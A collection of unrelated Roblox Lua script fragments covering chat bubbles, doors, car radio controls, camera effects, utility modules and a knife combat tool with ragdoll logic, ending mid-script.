local CHAT_BUBBLE_WIDTH_PADDING = 30
local CHAT_BUBBLE_PADDING = 12
local CHAT_BUBBLE_FADE_SPEED = 1.5
local BILLBOARD_MAX_WIDTH = 400
local BILLBOARD_MAX_HEIGHT = 250 --This limits the number of bubble chats that you see above characters
local ELIPSES = "..."
local MaxChatMessageLength = 128 -- max chat message length, including null terminator and elipses.
local MaxChatMessageLengthExclusive = MaxChatMessageLength - getMessageLength(ELIPSES) - 1
local NEAR_BUBBLE_DISTANCE = 65 --previously 45
local MAX_BUBBLE_DISTANCE = 100 --previously 80
|
-- So in the example above, the door will move thirty times, with a distance of 0.1 every 0.01 seconds.
-- Feel free to mess around with values to try and get the door moving as smoothly as possible.
-- Remember, if the door is say 3 studs wide, you will have to move it 3 studs, like in the example above 0.1 x 30 = 3
|
wait(1) -- How long the door will remain open
for i=1, 30 do
p.CFrame = p.CFrame + Vector3.new(-0.1, 0, 0)
wait(.01)
end
|
-- Bind PlayerAdded event to onPlayerAdded
|
Players.PlayerAdded:Connect(onPlayerAdded)
|
-------------------------
|
mouse.KeyDown:connect(function (key)
key = string.lower(key)
if key == "u" then --Window controls
if windows == false then
winfob.Visible = true
windows = true
else windows = false
winfob.Visible = false
end
elseif key == "[" then -- volume down
if carSeat.Parent.Body.MP.Sound.Volume > 0 then
handler:FireServer('updateVolume', -0.2)
end
elseif key == "]" then -- volume up
if carSeat.Parent.Body.MP.Sound.Volume < 10 then
handler:FireServer('updateVolume', 0.2)
end
end
end)
winfob.mg.Play.MouseButton1Click:connect(function() --Play the next song
handler:FireServer('updateSong', winfob.mg.Input.Text)
end)
|
-- Do not touch unless you know what you're doing.
|
local TweenService = game:GetService("TweenService")
local camera = workspace.Camera
function tween(part1, part2, cutsceneTime)
local tweeninfo = TweenInfo.new(
cutsceneTime,
Enum.EasingStyle.Sine,
Enum.EasingDirection.Out,
0,
false,
0
)
camera.CameraType = Enum.CameraType.Scriptable
camera.CFrame = part1.CFrame
local tween = TweenService:Create(camera, tweeninfo, {CFrame = part2.CFrame})
tween:Play()
wait(cutsceneTime)
camera.CameraType = Enum.CameraType.Custom
end
game.ReplicatedStorage.Cutscene.OnClientEvent:Connect(function()
game.Workspace.Test1.Locked = true
tween(game.Workspace.Test1, game.Workspace.Test2, 1)
tween(game.Workspace.Test2, game.Workspace.Test3, 10)
end)
|
--Made by Luckymaxer
|
Debris = game:GetService("Debris")
ProjectileNames = {"Water", "Arrow", "Projectile", "Effect", "Rail", "Laser", "Ray", "Bullet", "ParticlePart"}
Functions = {
CreateConfiguration = (function(Configurations, Table)
for i, v in pairs(Configurations:GetChildren()) do
if string.find(v.ClassName, "Value") then
Table[v.Name] = v:Clone()
elseif v:IsA("Folder") or v:IsA("Configuration") then
Table[v.Name] = Functions.CreateConfiguration(v, Table)
end
end
return Table
end),
FindCharacterAncestor = (function(Object)
if Object and Object ~= game:GetService("Workspace") then
local Humanoid = Object:FindFirstChild("Humanoid")
if Humanoid then
return Object, Humanoid
else
return Functions.FindCharacterAncestor(Object.Parent)
end
end
return nil
end),
CheckTableForString = (function(Table, String)
for i, v in pairs(Table) do
if string.lower(v) == string.lower(String) then
return true
end
end
return false
end),
CheckIntangible = (function(Hit)
if Hit and Hit.Parent then
if Functions.CheckTableForString(ProjectileNames, Hit.Name) then
return true
end
local ObjectParent = Hit.Parent
local Character = ObjectParent.Parent
local Humanoid = Character:FindFirstChild("Humanoid")
if Humanoid and Humanoid.Health > 0 and ObjectParent:IsA("Hat") then
return true
end
end
return false
end),
CastRay = (function(StartPos, Vec, Length, Ignore, DelayIfHit)
local RayHit, RayPos, RayNormal = game:GetService("Workspace"):FindPartOnRayWithIgnoreList(Ray.new(StartPos, Vec * Length), Ignore)
if RayHit and Functions.CheckIntangible(RayHit) then
if DelayIfHit then
wait()
end
RayHit, RayPos, RayNormal = Functions.CastRay((RayPos + (Vec * 0.01)), Vec, (Length - ((StartPos - RayPos).magnitude)), Ignore, DelayIfHit)
end
return RayHit, RayPos, RayNormal
end),
IsTeamMate = (function(Player1, Player2)
return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor)
end),
TagHumanoid = (function(humanoid, player)
local Creator_Tag = Instance.new("ObjectValue")
Creator_Tag.Name = "creator"
Creator_Tag.Value = player
Debris:AddItem(Creator_Tag, 2)
Creator_Tag.Parent = humanoid
end),
UntagHumanoid = (function(humanoid)
for i, v in pairs(humanoid:GetChildren()) do
if v:IsA("ObjectValue") and v.Name == "creator" then
v:Destroy()
end
end
end),
CheckTableForString = (function(Table, String)
for i, v in pairs(Table) do
if string.lower(v) == string.lower(String) then
return true
end
end
return false
end),
Clamp = (function(Number, Min, Max)
return math.max(math.min(Max, Number), Min)
end),
GetPercentage = (function(Start, End, Number)
return (((Number - Start) / (End - Start)) * 100)
end),
Round = (function(Number, RoundDecimal)
local WholeNumber, Decimal = math.modf(Number)
return ((Decimal >= RoundDecimal and math.ceil(Number)) or (Decimal < RoundDecimal and math.floor(Number)))
end),
}
return Functions
|
--[=[
@tag Component Class
`Stop` is called when the component is stopped. This occurs either when the
bound instance is removed from one of the whitelisted ancestors _or_ when
the matching tag is removed from the instance. This also means that the
instance _might_ be destroyed, and thus it is not safe to continue using
the bound instance (e.g. `self.Instance`) any longer.
This should be used to clean up the component.
```lua
local MyComponent = Component.new({Tag = "MyComponent"})
function MyComponent:Stop()
self.SomeStuff:Destroy()
end
```
]=]
|
function Component:Stop()
end
|
--[[
Create the touched connection.
]]
|
function BaseSystem:_connectTouch()
self._connections.onTouched =
self._model.PrimaryPart.Touched:Connect(
function(otherPart)
onTouched(self, otherPart)
end
)
end
|
-- Dont touch
|
while wait() do
script.Parent.Rotation = script.Parent.Rotation + 10
if script.Parent.Rotation == 360 then
script.Parent.Rotation = 0
end
end
|
-- put in: StarterPlayer > StarterCharacterScript
|
local char = script.Parent
local human = char:FindFirstChildOfClass("Humanoid") or char:WaitForChild("Humanoid")
local cam = workspace.CurrentCamera
local humspeed = 0
if not human then
return
end
human.Running:Connect(function(sp)
humspeed = sp
end)
game:GetService("RunService").RenderStepped:Connect(function()
local ticked = tick()
if human.MoveDirection.Magnitude > 0 then
cam.CFrame = cam.CFrame:Lerp(cam.CFrame * CFrame.Angles(math.rad(math.sin(ticked * humspeed) * 1), math.rad(math.sin(ticked * humspeed)), math.rad(math.sin(ticked * humspeed) * 2)), humspeed / 100)
else
cam.CFrame = cam.CFrame:Lerp(cam.CFrame * CFrame.Angles(math.rad(math.sin(ticked * 1) * 0.90), 0, 0), 0.0)
end
end)
|
--[[
Takes a list of callbacks, and runs them as separate coroutines, yielding the current thread until all the coroutines are dead.
This function yields until either all callbacks have returned, or a callback has errored. Returns success, result.
Exposes similar functionality to Promise.All in JS, or WaitGroups in Go.
--]]
|
local function checkIfOtherThreadsAreDead(threads: { thread })
for _, thread in ipairs(threads) do
if thread ~= coroutine.running() then
if coroutine.status(thread) ~= "dead" then
return false
end
end
end
return true
end
type Callback = (...any) -> ...any
local function waitAllAsync(callbacks: { Callback }): (boolean, ...any)
local baseThread = coroutine.running()
local threads: { thread } = {}
local hasErrored = false
for _, callback in ipairs(callbacks) do
local thisThread = coroutine.create(function()
local success, result = pcall(callback)
if success and not hasErrored then
-- If this callback has completed, all other threads are dead, and we haven't already resumed on an error then we are good to proceed!
if checkIfOtherThreadsAreDead(threads) then
task.spawn(baseThread, true)
end
elseif not hasErrored then
hasErrored = true
task.spawn(baseThread, false, result)
end
end)
table.insert(threads, thisThread)
-- Use task.defer so this callback can't return before the baseThread has yielded
task.defer(thisThread)
end
if #threads > 0 then
-- We yield the main thread here so it can be resumed once the callbacks have completed
return coroutine.yield(baseThread)
else
return true
end
end
return waitAllAsync
|
-- print("Keyframe : ".. FrameName)
|
local RepeatAnim = StopToolAnimations()
PlayToolAnimation(RepeatAnim, 0, Humanoid)
end
end
function PlayToolAnimation(AnimName, TransitionTime, Humanoid)
if AnimName ~= ToolAnimName then
if ToolAnimTrack then
ToolAnimTrack:Stop()
ToolAnimTrack:Destroy()
TransitionTime = 0
end
local Roll = math.random(1, AnimTable[AnimName].TotalWeight)
local OrigRoll = Roll
local Index = 1
while Roll > AnimTable[AnimName][Index].Weight do
Roll = Roll - AnimTable[AnimName][Index].Weight
Index = Index + 1
end
|
--------LEFT DOOR --------
|
game.Workspace.doorleft.l41.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l31.BrickColor = BrickColor.new(1023)
game.Workspace.doorleft.pillar.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
|
--[=[
@return SIGNAL_MARKER
Returns a marker that will transform the current key into
a RemoteSignal once the service is created. Should only
be called within the Client table of a service.
See [RemoteSignal](https://sleitnick.github.io/RbxUtil/api/RemoteSignal)
documentation for more info.
```lua
local MyService = Knit.CreateService {
Name = "MyService";
Client = {
-- Create the signal marker, which will turn into a
-- RemoteSignal when Knit.Start() is called:
MySignal = Knit.CreateSignal()
}
}
function MyService:KnitInit()
-- Connect to the signal:
self.Client.MySignal:Connect(function(player, ...) end)
end
```
]=]
|
function KnitServer.CreateSignal()
return SIGNAL_MARKER
end
|
-- Set local variables
|
local player = players.LocalPlayer
local character = player.Character or player.CharacterAdded:wait()
local humanoid = character.Humanoid
|
-- From TransparencyController
|
function CameraUtils.Round(num, places)
local decimalPivot = 10^places
return math.floor(num * decimalPivot + 0.5) / decimalPivot
end
function CameraUtils.IsFinite(val)
return val == val and val ~= math.huge and val ~= -math.huge
end
function CameraUtils.IsFiniteVector3(vec3)
return CameraUtils.IsFinite(vec3.X) and CameraUtils.IsFinite(vec3.Y) and CameraUtils.IsFinite(vec3.Z)
end
|
--
|
function damage()
for i,v in pairs(workspace:GetDescendants()) do
if v.ClassName == "Model" then
local head = v:findFirstChild("Head")
local humanoid = v:findFirstChildOfClass("Humanoid")
local torso = v:findFirstChild("Torso")
local ragdolled = v:findFirstChild("ragdolledknife")
if humanoid and head and not ragdolled then
if (head.Position - handle.Position).magnitude < 2 and v ~= character and humanoid.Health > 0 then
stabsound.PlaybackSpeed = 1+(math.random(-4,4)/10)
stabsound:Play()
hitmarkersound:Play()
local dmg = math.random(20,50)
if humanoid.Health <= dmg then
humanoid.Health = 0
ragdollkill(v)
end
humanoid.Health = humanoid.Health - dmg
local ragdolledknife = Instance.new("BoolValue", v)
ragdolledknife.Name = "ragdolledknife"
local velocity = Instance.new("BodyVelocity", head)
velocity.MaxForce = Vector3.new(math.huge,0,math.huge)
velocity.Velocity = character.HumanoidRootPart.CFrame.lookVector * math.random(5,15)
humanoid.PlatformStand = true
coroutine.wrap(function()
wait(1)
humanoid.PlatformStand = false
end)()
game.Debris:AddItem(ragdolledknife, 1)
game.Debris:AddItem(velocity, 0.2)
if torso then
coroutine.wrap(function()
humanoid = v:WaitForChild("Humanoid")
local ragdoll = v
if ragdoll:findFirstChild("Right Arm") then
local glue = Instance.new("Glue", ragdoll.Torso)
glue.Part0 = ragdoll.Torso
glue.Part1 = ragdoll:findFirstChild("Right Arm")
glue.C0 = CFrame.new(1.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
glue.C1 = CFrame.new(0, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
local limbcollider = Instance.new("Part", ragdoll:findFirstChild("Right Arm"))
limbcollider.Size = Vector3.new(1.4,1,1)
limbcollider.Shape = "Cylinder"
limbcollider.Transparency = 1
limbcollider.Name = "LimbCollider"
local limbcolliderweld = Instance.new("Weld", limbcollider)
limbcolliderweld.Part0 = ragdoll:findFirstChild("Right Arm")
limbcolliderweld.Part1 = limbcollider
limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.3,0,0)
coroutine.wrap(function()
if ragdoll.Torso:findFirstChild("Right Shoulder") then
local limbclone = ragdoll.Torso:findFirstChild("Right Shoulder"):Clone()
ragdoll.Torso:findFirstChild("Right Shoulder"):destroy()
coroutine.wrap(function()
wait(1)
limbclone.Parent = ragdoll.Torso
limbclone.Part0 = ragdoll.Torso
limbclone.Part1 = ragdoll["Right Arm"]
end)()
end
wait(1)
glue:destroy()
limbcollider:destroy()
limbcolliderweld:destroy()
end)()
end
if ragdoll:findFirstChild("Left Arm") then
local glue = Instance.new("Glue", ragdoll.Torso)
glue.Part0 = ragdoll.Torso
glue.Part1 = ragdoll:findFirstChild("Left Arm")
glue.C0 = CFrame.new(-1.5, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
glue.C1 = CFrame.new(0, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
local limbcollider = Instance.new("Part", ragdoll:findFirstChild("Left Arm"))
limbcollider.Size = Vector3.new(1.4,1,1)
limbcollider.Shape = "Cylinder"
limbcollider.Name = "LimbCollider"
limbcollider.Transparency = 1
local limbcolliderweld = Instance.new("Weld", limbcollider)
limbcolliderweld.Part0 = ragdoll:findFirstChild("Left Arm")
limbcolliderweld.Part1 = limbcollider
limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.3,0,0)
coroutine.wrap(function()
if ragdoll.Torso:findFirstChild("Left Shoulder") then
local limbclone = ragdoll.Torso:findFirstChild("Left Shoulder"):Clone()
ragdoll.Torso:findFirstChild("Left Shoulder"):destroy()
coroutine.wrap(function()
wait(1)
limbclone.Parent = ragdoll.Torso
limbclone.Part0 = ragdoll.Torso
limbclone.Part1 = ragdoll["Left Arm"]
end)()
end
wait(1)
glue:destroy()
limbcollider:destroy()
limbcolliderweld:destroy()
end)()
end
if ragdoll:findFirstChild("Left Leg") then
local glue = Instance.new("Glue", ragdoll.Torso)
glue.Part0 = ragdoll.Torso
glue.Part1 = ragdoll:findFirstChild("Left Leg")
glue.C0 = CFrame.new(-0.5, -1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
glue.C1 = CFrame.new(-0, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
local limbcollider = Instance.new("Part", ragdoll:findFirstChild("Left Leg"))
limbcollider.Size = Vector3.new(1.5,1,1)
limbcollider.Shape = "Cylinder"
limbcollider.Name = "LimbCollider"
limbcollider.Transparency = 1
local limbcolliderweld = Instance.new("Weld", limbcollider)
limbcolliderweld.Part0 = ragdoll:findFirstChild("Left Leg")
limbcolliderweld.Part1 = limbcollider
limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.2,0,0)
coroutine.wrap(function()
if ragdoll.Torso:findFirstChild("Left Hip") then
local limbclone = ragdoll.Torso:findFirstChild("Left Hip"):Clone()
ragdoll.Torso:findFirstChild("Left Hip"):destroy()
coroutine.wrap(function()
wait(1)
limbclone.Parent = ragdoll.Torso
limbclone.Part0 = ragdoll.Torso
limbclone.Part1 = ragdoll["Left Leg"]
end)()
end
wait(1)
glue:destroy()
limbcollider:destroy()
limbcolliderweld:destroy()
end)()
end
if ragdoll:findFirstChild("Right Leg") then
local glue = Instance.new("Glue", ragdoll.Torso)
glue.Part0 = ragdoll.Torso
glue.Part1 = ragdoll:findFirstChild("Right Leg")
glue.C0 = CFrame.new(0.5, -1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
glue.C1 = CFrame.new(0, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
local limbcollider = Instance.new("Part", ragdoll:findFirstChild("Right Leg"))
limbcollider.Size = Vector3.new(1.5,1,1)
limbcollider.Shape = "Cylinder"
limbcollider.Name = "LimbCollider"
limbcollider.Transparency = 1
local limbcolliderweld = Instance.new("Weld", limbcollider)
limbcolliderweld.Part0 = ragdoll:findFirstChild("Right Leg")
limbcolliderweld.Part1 = limbcollider
limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.2,0,0)
coroutine.wrap(function()
if ragdoll.Torso:findFirstChild("Right Hip") then
local limbclone = ragdoll.Torso:findFirstChild("Right Hip"):Clone()
ragdoll.Torso:findFirstChild("Right Hip"):destroy()
coroutine.wrap(function()
wait(1)
limbclone.Parent = ragdoll.Torso
limbclone.Part0 = ragdoll.Torso
limbclone.Part1 = ragdoll["Right Leg"]
end)()
end
wait(1)
glue:destroy()
limbcollider:destroy()
limbcolliderweld:destroy()
end)()
end
end)()
end
end
end
end
end
end
function ragdollplr(v)
local head = v.Head
local torso = v:findFirstChild("Torso")
local humanoid = v:findFirstChildOfClass("Humanoid")
stabsound.PlaybackSpeed = 1+(math.random(-4,4)/10)
stabsound:Play()
hitmarkersound:Play()
local dmg = math.random(20,50)
if humanoid.Health <= dmg then
humanoid.Health = 0
ragdollkill(v)
end
humanoid.Health = humanoid.Health - dmg
local ragdolledknife = Instance.new("BoolValue", v)
ragdolledknife.Name = "ragdolledknife"
local velocity = Instance.new("BodyVelocity", head)
velocity.MaxForce = Vector3.new(math.huge,0,math.huge)
velocity.Velocity = character.HumanoidRootPart.CFrame.lookVector * math.random(5,15)
humanoid.PlatformStand = true
coroutine.wrap(function()
wait(1)
humanoid.PlatformStand = false
end)()
game.Debris:AddItem(ragdolledknife, 1)
game.Debris:AddItem(velocity, 0.2)
if torso then
coroutine.wrap(function()
humanoid = v:WaitForChild("Humanoid")
local ragdoll = v
if ragdoll:findFirstChild("Right Arm") then
local glue = Instance.new("Glue", ragdoll.Torso)
glue.Part0 = ragdoll.Torso
glue.Part1 = ragdoll:findFirstChild("Right Arm")
glue.C0 = CFrame.new(1.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
glue.C1 = CFrame.new(0, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
local limbcollider = Instance.new("Part", ragdoll:findFirstChild("Right Arm"))
limbcollider.Size = Vector3.new(1.4,1,1)
limbcollider.Shape = "Cylinder"
limbcollider.Transparency = 1
limbcollider.Name = "LimbCollider"
local limbcolliderweld = Instance.new("Weld", limbcollider)
limbcolliderweld.Part0 = ragdoll:findFirstChild("Right Arm")
limbcolliderweld.Part1 = limbcollider
limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.3,0,0)
coroutine.wrap(function()
if ragdoll.Torso:findFirstChild("Right Shoulder") then
local limbclone = ragdoll.Torso:findFirstChild("Right Shoulder"):Clone()
ragdoll.Torso:findFirstChild("Right Shoulder"):destroy()
coroutine.wrap(function()
wait(1)
limbclone.Parent = ragdoll.Torso
limbclone.Part0 = ragdoll.Torso
limbclone.Part1 = ragdoll["Right Arm"]
end)()
end
wait(1)
glue:destroy()
limbcollider:destroy()
limbcolliderweld:destroy()
end)()
end
if ragdoll:findFirstChild("Left Arm") then
local glue = Instance.new("Glue", ragdoll.Torso)
glue.Part0 = ragdoll.Torso
glue.Part1 = ragdoll:findFirstChild("Left Arm")
glue.C0 = CFrame.new(-1.5, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
glue.C1 = CFrame.new(0, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
local limbcollider = Instance.new("Part", ragdoll:findFirstChild("Left Arm"))
limbcollider.Size = Vector3.new(1.4,1,1)
limbcollider.Shape = "Cylinder"
limbcollider.Name = "LimbCollider"
limbcollider.Transparency = 1
local limbcolliderweld = Instance.new("Weld", limbcollider)
limbcolliderweld.Part0 = ragdoll:findFirstChild("Left Arm")
limbcolliderweld.Part1 = limbcollider
limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.3,0,0)
coroutine.wrap(function()
if ragdoll.Torso:findFirstChild("Left Shoulder") then
local limbclone = ragdoll.Torso:findFirstChild("Left Shoulder"):Clone()
ragdoll.Torso:findFirstChild("Left Shoulder"):destroy()
coroutine.wrap(function()
wait(1)
limbclone.Parent = ragdoll.Torso
limbclone.Part0 = ragdoll.Torso
limbclone.Part1 = ragdoll["Left Arm"]
end)()
end
wait(1)
glue:destroy()
limbcollider:destroy()
limbcolliderweld:destroy()
end)()
end
if ragdoll:findFirstChild("Left Leg") then
local glue = Instance.new("Glue", ragdoll.Torso)
glue.Part0 = ragdoll.Torso
glue.Part1 = ragdoll:findFirstChild("Left Leg")
glue.C0 = CFrame.new(-0.5, -1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
glue.C1 = CFrame.new(-0, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
local limbcollider = Instance.new("Part", ragdoll:findFirstChild("Left Leg"))
limbcollider.Size = Vector3.new(1.5,1,1)
limbcollider.Shape = "Cylinder"
limbcollider.Name = "LimbCollider"
limbcollider.Transparency = 1
local limbcolliderweld = Instance.new("Weld", limbcollider)
limbcolliderweld.Part0 = ragdoll:findFirstChild("Left Leg")
limbcolliderweld.Part1 = limbcollider
limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.2,0,0)
coroutine.wrap(function()
if ragdoll.Torso:findFirstChild("Left Hip") then
local limbclone = ragdoll.Torso:findFirstChild("Left Hip"):Clone()
ragdoll.Torso:findFirstChild("Left Hip"):destroy()
coroutine.wrap(function()
wait(1)
limbclone.Parent = ragdoll.Torso
limbclone.Part0 = ragdoll.Torso
limbclone.Part1 = ragdoll["Left Leg"]
end)()
end
wait(1)
glue:destroy()
limbcollider:destroy()
limbcolliderweld:destroy()
end)()
end
if ragdoll:findFirstChild("Right Leg") then
local glue = Instance.new("Glue", ragdoll.Torso)
glue.Part0 = ragdoll.Torso
glue.Part1 = ragdoll:findFirstChild("Right Leg")
glue.C0 = CFrame.new(0.5, -1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
glue.C1 = CFrame.new(0, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
local limbcollider = Instance.new("Part", ragdoll:findFirstChild("Right Leg"))
limbcollider.Size = Vector3.new(1.5,1,1)
limbcollider.Shape = "Cylinder"
limbcollider.Name = "LimbCollider"
limbcollider.Transparency = 1
local limbcolliderweld = Instance.new("Weld", limbcollider)
limbcolliderweld.Part0 = ragdoll:findFirstChild("Right Leg")
limbcolliderweld.Part1 = limbcollider
limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.2,0,0)
coroutine.wrap(function()
if ragdoll.Torso:findFirstChild("Right Hip") then
local limbclone = ragdoll.Torso:findFirstChild("Right Hip"):Clone()
ragdoll.Torso:findFirstChild("Right Hip"):destroy()
coroutine.wrap(function()
wait(1)
limbclone.Parent = ragdoll.Torso
limbclone.Part0 = ragdoll.Torso
limbclone.Part1 = ragdoll["Right Leg"]
end)()
end
wait(1)
glue:destroy()
limbcollider:destroy()
limbcolliderweld:destroy()
end)()
end
end)()
end
end
tool.Activated:connect(function()
if owner ~= nil and character ~= nil and canattack then
cananimate = false
canattack = false
local rightarmweld = character.Torso:findFirstChild("RightArmWeldknif")
local leftarmweld = character.Torso:findFirstChild("LeftArmWeldknif")
local headweld = character.Torso:findFirstChild("HeadWeldknif")
local rootweld = character.HumanoidRootPart:findFirstChild("HumanoidRootPartWeldknif")
swooshsound:Play()
swooshsound.PlaybackSpeed = 1+(math.random(-4,4)/20)
trail.Enabled = true
if swingnum == 0 then
swingnum = 1
for i = 1,21 do
damage()
headweld.C0 = headweld.C0:lerp(CFrame.new(0,1,0) * CFrame.fromEulerAnglesXYZ(0,math.sin(i/4)*2,0) * CFrame.new(0,0.5,0),0.2)
tool.Grip = tool.Grip:lerp(CFrame.new(0,-0.85,0) * CFrame.fromEulerAnglesXYZ(math.sin(-i/4),0,0),0.2)
rootweld.C0 = rootweld.C0:lerp(CFrame.fromEulerAnglesXYZ(math.sin(i/4)/15,math.sin(-i/4)*2,0), 0.2)
leftarmweld.C0 = leftarmweld.C0:lerp(CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(math.sin(i/4)*0.6,0,math.sin(i/4)/1.5) * CFrame.new(0,-0.5,0), 0.2)
rightarmweld.C0 = rightarmweld.C0:lerp(CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(math.sin(-i/4)*1.8,0,math.rad(30)+math.sin(-i/4)) * CFrame.new(0,-0.5,0), 0.2)
step:wait()
end
spawn(spinanimation)
elseif swingnum == 1 then
swingnum = 2
local howup = 0
for i = 1,21 do
howup = howup + 1
damage()
headweld.C0 = headweld.C0:lerp(CFrame.new(0,1,0) * CFrame.fromEulerAnglesXYZ(0,math.sin(i/4)*2.5,0) * CFrame.new(0,0.5,0),0.2)
tool.Grip = tool.Grip:lerp(CFrame.new(0,-0.85,0) * CFrame.fromEulerAnglesXYZ(math.sin(-i/4),0,0),0.2)
rootweld.C0 = rootweld.C0:lerp(CFrame.fromEulerAnglesXYZ(math.sin(i/4)/15,math.sin(-i/4)*2.5,0), 0.2)
leftarmweld.C0 = leftarmweld.C0:lerp(CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(0,0,-math.pi/4) * CFrame.new(0,-0.5,0), 0.2)
rightarmweld.C0 = rightarmweld.C0:lerp(CFrame.new(1.5-(howup/30),0.5,-(howup/15)) * CFrame.fromEulerAnglesXYZ(0,-math.pi+howup/6,-math.pi/3-(howup/30)) * CFrame.new(0,-0.5,0), 0.2)
step:wait()
end
damage()
spawn(spinanimation)
elseif swingnum == 2 then
swingnum = 0
for i = 1,21 do
damage()
headweld.C0 = headweld.C0:lerp(CFrame.new(0,1,0) * CFrame.fromEulerAnglesXYZ(0,math.sin(i/3)/2,0) * CFrame.new(0,0.5,0),0.2)
tool.Grip = tool.Grip:lerp(CFrame.new(0,-0.85,0) * CFrame.fromEulerAnglesXYZ(math.pi,0,0),0.2)
rootweld.C0 = rootweld.C0:lerp(CFrame.fromEulerAnglesXYZ(math.sin(i/3)/10,math.sin(-i/3)/2,0), 0.2)
leftarmweld.C0 = leftarmweld.C0:lerp(CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(math.sin(i/3.5)*2,0,0) * CFrame.new(0,-0.7,0), 0.2)
rightarmweld.C0 = rightarmweld.C0:lerp(CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(math.sin(i/3.5)*2+math.pi,0,0) * CFrame.new(0,-1,0), 0.2)
step:wait()
end
trail.Enabled = false
end
if equipped then
cananimate = true
end
if not pressed then
canattack = true
else
canthrow = true
cananimate = false
local throwsine = 0
while pressed and equipped and not cananimate and step:wait() do
throwsine = throwsine + 1
headweld.C0 = headweld.C0:lerp(CFrame.new(0,1,0) * CFrame.fromEulerAnglesXYZ(0,math.pi/3+math.sin(throwsine/20)/40,0) * CFrame.new(0,0.5,0),0.2)
tool.Grip = tool.Grip:lerp(CFrame.new(0,-0.85,0) * CFrame.fromEulerAnglesXYZ(-math.rad(30),0,0),0.2)
rootweld.C0 = rootweld.C0:lerp(CFrame.fromEulerAnglesXYZ(math.sin(throwsine/20)/40,-math.pi/3+math.sin(-throwsine/20)/40,0), 0.2)
leftarmweld.C0 = leftarmweld.C0:lerp(CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(40)+math.sin(throwsine/20)/15,0,0) * CFrame.new(0,-0.5,0), 0.2)
rightarmweld.C0 = rightarmweld.C0:lerp(CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(math.sin(throwsine/20)/20+math.pi,0,0) * CFrame.new(0,-0.7,0), 0.2)
end
if not equipped then
handle.Transparency = 0
throwpos = nil
cananimate = true
canattack = true
return
end
swooshsound.PlaybackSpeed = 1+(math.random(-1,4)/10)
swooshsound:Play()
for i = 1,5 do
headweld.C0 = headweld.C0:lerp(CFrame.new(0,1,0) * CFrame.fromEulerAnglesXYZ(0,-math.pi/3,0) * CFrame.new(0,0.5,0),0.2)
tool.Grip = tool.Grip:lerp(CFrame.new(0,-0.85,0) * CFrame.fromEulerAnglesXYZ(-math.rad(30),0,0),0.2)
rootweld.C0 = rootweld.C0:lerp(CFrame.fromEulerAnglesXYZ(-math.rad(10),math.pi/3,0), 0.2)
leftarmweld.C0 = leftarmweld.C0:lerp(CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(-40),0,0) * CFrame.new(0,-0.5,0), 0.2)
rightarmweld.C0 = rightarmweld.C0:lerp(CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(10),0,0) * CFrame.new(0,-0.5,0), 0.2)
step:wait()
end
handle.Transparency = 1
local knifeclone = Instance.new("Part", character.Head)
knifeclone.Size = Vector3.new(0.15, 1.9, 0.7)
knifeclone.CanCollide = false
knifeclone.Anchored = true
knifeclone.Name = "ThrowKnife"
knifeclone.CFrame = CFrame.new(handle.Position, throwpos)
local mesh = Instance.new("SpecialMesh", knifeclone)
mesh.TextureId = handle:findFirstChildOfClass("SpecialMesh").TextureId
mesh.MeshId = "http://www.roblox.com/asset/?id=121944778"
mesh.Scale = Vector3.new(0.7,0.7,0.7)
coroutine.wrap(function()
local rotatevalue = 0
local rayhit = false
local lastpos = nil
local throwtime = 500
local gravitypower = 0
local lasttorsopos = character.Torso.CFrame
while step:wait() and not rayhit do
throwtime = throwtime - 1
if throwtime == 0 then
knifeclone:Destroy()
break
end
if rotatevalue >= 360 then
rotatevalue = 0
end
knifeclone.CFrame = knifeclone.CFrame * CFrame.fromEulerAnglesXYZ(math.rad(rotatevalue),0,0)
rotatevalue = rotatevalue + 20
local ignorelist = {handle, knifeclone, character}
for q,w in pairs(workspace:GetDescendants()) do
if w.Name == "ThrowKnife" then
table.insert(ignorelist, w)
end
end
local ray = Ray.new(knifeclone.Position, knifeclone.CFrame.lookVector*3)
